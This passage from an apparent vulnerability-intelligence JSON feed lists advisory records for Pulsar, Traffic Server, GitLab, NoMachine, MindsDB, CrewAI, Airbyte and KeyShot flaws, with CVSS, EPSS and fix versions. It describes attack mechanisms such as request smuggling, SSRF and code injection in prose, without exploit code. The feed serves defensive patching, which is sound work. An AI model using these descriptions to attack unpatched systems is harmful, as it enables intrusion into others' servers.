backlog is skipped and is no longer delivered to consumers. It also deletes eligible older ledgers of each partition regardless of the namespace's configured retention policy, so messages stored in those ledgers can be permanently lost. The ledger currently being written is not deleted by the truncate operation. The issue does not allow reading message contents or changing permissions or configuration, and it does not give access to topics on which the user has no lookup permission.\n\nThis issue affects Apache Pulsar versions from 2.8.0 before 4.0.14 and from 4.1.0 before 4.2.5.\n\n- 4.0.x version users should upgrade to at least 4.0.14.\n- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.\n\nThe currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.\n\nUsers who cannot upgrade immediately can reduce exposure by restricting network access to the broker's admin REST API (/admin/v2) to trusted administrative clients.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:56.103Z","updatedAt":"2026-10-23T22:16:51.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105934","asOf":"2026-10-23T22:16:51.803Z"},"epss":{"probability":0.00482,"percentile":0.41284,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105934","type":"primary","publishedAt":"2026-10-21T19:16:56.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-55702","cveId":"CVE-2025-55702","aliases":[],"kind":"vulnerability","title":"When a client sends a POST with Expect: 100-continue and the origin answers before reading the body, Apache Traffic Server parses the unread body left on the client connection as...","summary":"When a client sends a POST with Expect: 100-continue and the origin answers before reading the body, Apache Traffic Server parses the unread body left on the client connection as the next request. An attacker behind a front-end proxy that shares connections to Traffic Server can use this to smuggle requests past the front end and desynchronize responses for other users.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"When a client sends a POST with Expect: 100-continue and the origin answers before reading the body, Apache Traffic Server parses the unread body left on the client connection as the next request. An attacker behind a front-end proxy that shares connections to Traffic Server can use this to smuggle requests past the front end and desynchronize responses for other users.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:48.120Z","updatedAt":"2026-10-23T12:18:05.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-55702","asOf":"2026-10-23T12:18:05.570Z"},"epss":{"probability":0.00325,"percentile":0.25342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-55702&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-55702","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55702","type":"primary","publishedAt":"2026-10-21T19:16:48.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55702&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-55702, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-critical-gitlab-flaw-cvss-100-could-6815f2a0b4a0","cveId":null,"aliases":[],"kind":"vulnerability","title":"Critical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases","summary":"GitLab released fixes on October 21 for a flaw that lets an attacker run code on a self-managed server without logging in, and it affects every version of the software going back to 7.0, released in 2014.\n\nThe fix matters even for administrators who patched nine days earlier: the October 12 update covered only versions 19.2 and later, and the new fixed versions sit one patch above it, so an","detail":"GitLab released fixes on October 21 for a flaw that lets an attacker run code on a self-managed server without logging in, and it affects every version of the software going back to 7.0, released in 2014.\n\nThe fix matters even for administrators who patched nine days earlier: the October 12 update covered only versions 19.2 and later, and the new fixed versions sit one patch above it, so an\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-21T18:57:34.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["GitLab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Critical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases","url":"https://thehackernews.com/2026/10/critical-gitlab-flaw-cvss-100-could.html","type":"reporting","publishedAt":"2026-10-21T18:57:34.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92210","cveId":"CVE-2026-92210","aliases":[],"kind":"vulnerability","title":"NoMachine nxhtd Server-Side Request Forgery Information Disclosure Vulnerability.","summary":"NoMachine nxhtd Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the web service, which listens on UDP port 4443 by default. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to initiate requests in the context of the service account. Was ZDI-CAN-31619.","detail":"NoMachine nxhtd Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the web service, which listens on UDP port 4443 by default. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to initiate requests in the context of the service account. Was ZDI-CAN-31619.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:31.730Z","updatedAt":"2026-10-22T17:34:37.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92210","asOf":"2026-10-22T17:34:37.867Z"},"epss":{"probability":0.00327,"percentile":0.25556,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92210","type":"primary","publishedAt":"2026-10-21T18:17:31.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92209","cveId":"CVE-2026-92209","aliases":[],"kind":"vulnerability","title":"NoMachine Redis Improper Authentication Local Privilege Escalation Vulnerability.","summary":"NoMachine Redis Improper Authentication Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the authentication mechanism controlling access to the Redis database. The issue results from using insufficient entropy in the generation of credentials. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-30984.","detail":"NoMachine Redis Improper Authentication Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the authentication mechanism controlling access to the Redis database. The issue results from using insufficient entropy in the generation of credentials. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-30984.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:31.597Z","updatedAt":"2026-10-23T12:18:18.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Redis"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.0","vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92209","asOf":"2026-10-23T12:18:18.777Z"},"epss":{"probability":0.00243,"percentile":0.15278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92209","type":"primary","publishedAt":"2026-10-21T18:17:31.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92208","cveId":"CVE-2026-92208","aliases":[],"kind":"vulnerability","title":"NoMachine mDNS Heap-based Buffer Overflow Remote Code Execution Vulnerability.","summary":"NoMachine mDNS Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the parsing of mDNS resource records. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-30982.","detail":"NoMachine mDNS Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the parsing of mDNS resource records. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-30982.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:31.427Z","updatedAt":"2026-10-23T12:18:18.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.0","vector":"CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92208","asOf":"2026-10-23T12:18:18.660Z"},"epss":{"probability":0.00618,"percentile":0.49331,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92208&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92208","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92208","type":"primary","publishedAt":"2026-10-21T18:17:31.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92208&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92208, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92207","cveId":"CVE-2026-92207","aliases":[],"kind":"vulnerability","title":"MindsDB OpenBBtable Code Injection Remote Code Execution Vulnerability.","summary":"MindsDB OpenBBtable Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MindsDB. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the OpenBBtable class. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28388.","detail":"MindsDB OpenBBtable Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MindsDB. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the OpenBBtable class. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28388.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:31.280Z","updatedAt":"2026-10-21T18:17:31.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92207","asOf":"2026-10-21T18:17:31.390Z"},"epss":{"probability":0.00699,"percentile":0.52845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92207","type":"primary","publishedAt":"2026-10-21T18:17:31.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92206","cveId":"CVE-2026-92206","aliases":[],"kind":"vulnerability","title":"CrewAI crewAI Framework Agent Loading Unsafe Reflection Remote Code Execution Vulnerability.","summary":"CrewAI crewAI Framework Agent Loading Unsafe Reflection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of CrewAI crewAI. User interaction is required to exploit this vulnerability in that the target must load a malicious agent configuration from the repository.\n\nThe specific flaw exists within the load_agent_from_repository function. The process does not properly restrict a user-supplied argument before using it to import a module. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28387.","detail":"CrewAI crewAI Framework Agent Loading Unsafe Reflection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of CrewAI crewAI. User interaction is required to exploit this vulnerability in that the target must load a malicious agent configuration from the repository.\n\nThe specific flaw exists within the load_agent_from_repository function. The process does not properly restrict a user-supplied argument before using it to import a module. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28387.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:31.133Z","updatedAt":"2026-10-21T18:17:31.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92206","asOf":"2026-10-21T18:17:31.247Z"},"epss":{"probability":0.00455,"percentile":0.3922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92206","type":"primary","publishedAt":"2026-10-21T18:17:31.133Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92204","cveId":"CVE-2026-92204","aliases":[],"kind":"vulnerability","title":"Airbyte OneDrive Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability.","summary":"Airbyte OneDrive Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28216.","detail":"Airbyte OneDrive Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28216.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:30.883Z","updatedAt":"2026-10-22T17:34:37.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92204","asOf":"2026-10-22T17:34:37.867Z"},"epss":{"probability":0.00414,"percentile":0.35455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92204","type":"primary","publishedAt":"2026-10-21T18:17:30.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92203","cveId":"CVE-2026-92203","aliases":[],"kind":"vulnerability","title":"Airbyte SharePoint Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability.","summary":"Airbyte SharePoint Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28215.","detail":"Airbyte SharePoint Connector _get_shared_drive_object Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to initiate arbitrary server-side requests on affected installations of Airbyte. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the _get_shared_drive_object method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-28215.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T18:17:30.757Z","updatedAt":"2026-10-22T17:34:37.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SharePoint"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92203","asOf":"2026-10-22T17:34:37.867Z"},"epss":{"probability":0.00406,"percentile":0.34581,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92203&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92203","type":"primary","publishedAt":"2026-10-21T18:17:30.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92203&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92203, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92202","cveId":"CVE-2026-92202","aliases":[],"kind":"vulnerability","title":"Luxion KeyShot BIP File Parsing Uncontrolled Search Path Element Remote Code Execution Vulnerability.","summary":"Luxion KeyShot BIP File Parsing Uncontrolled Search Path Element Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Luxion KeyShot. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of BIP files. The issue results from loading a library from an unsecured location. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29268.","detail":"Luxion KeyShot BIP File Parsing Uncontrolled Search Path Element Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Luxion KeyShot. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of BIP files. The issue results from loading a library from an unsecured location. An attacker can leverage this vulnerability to execute code in 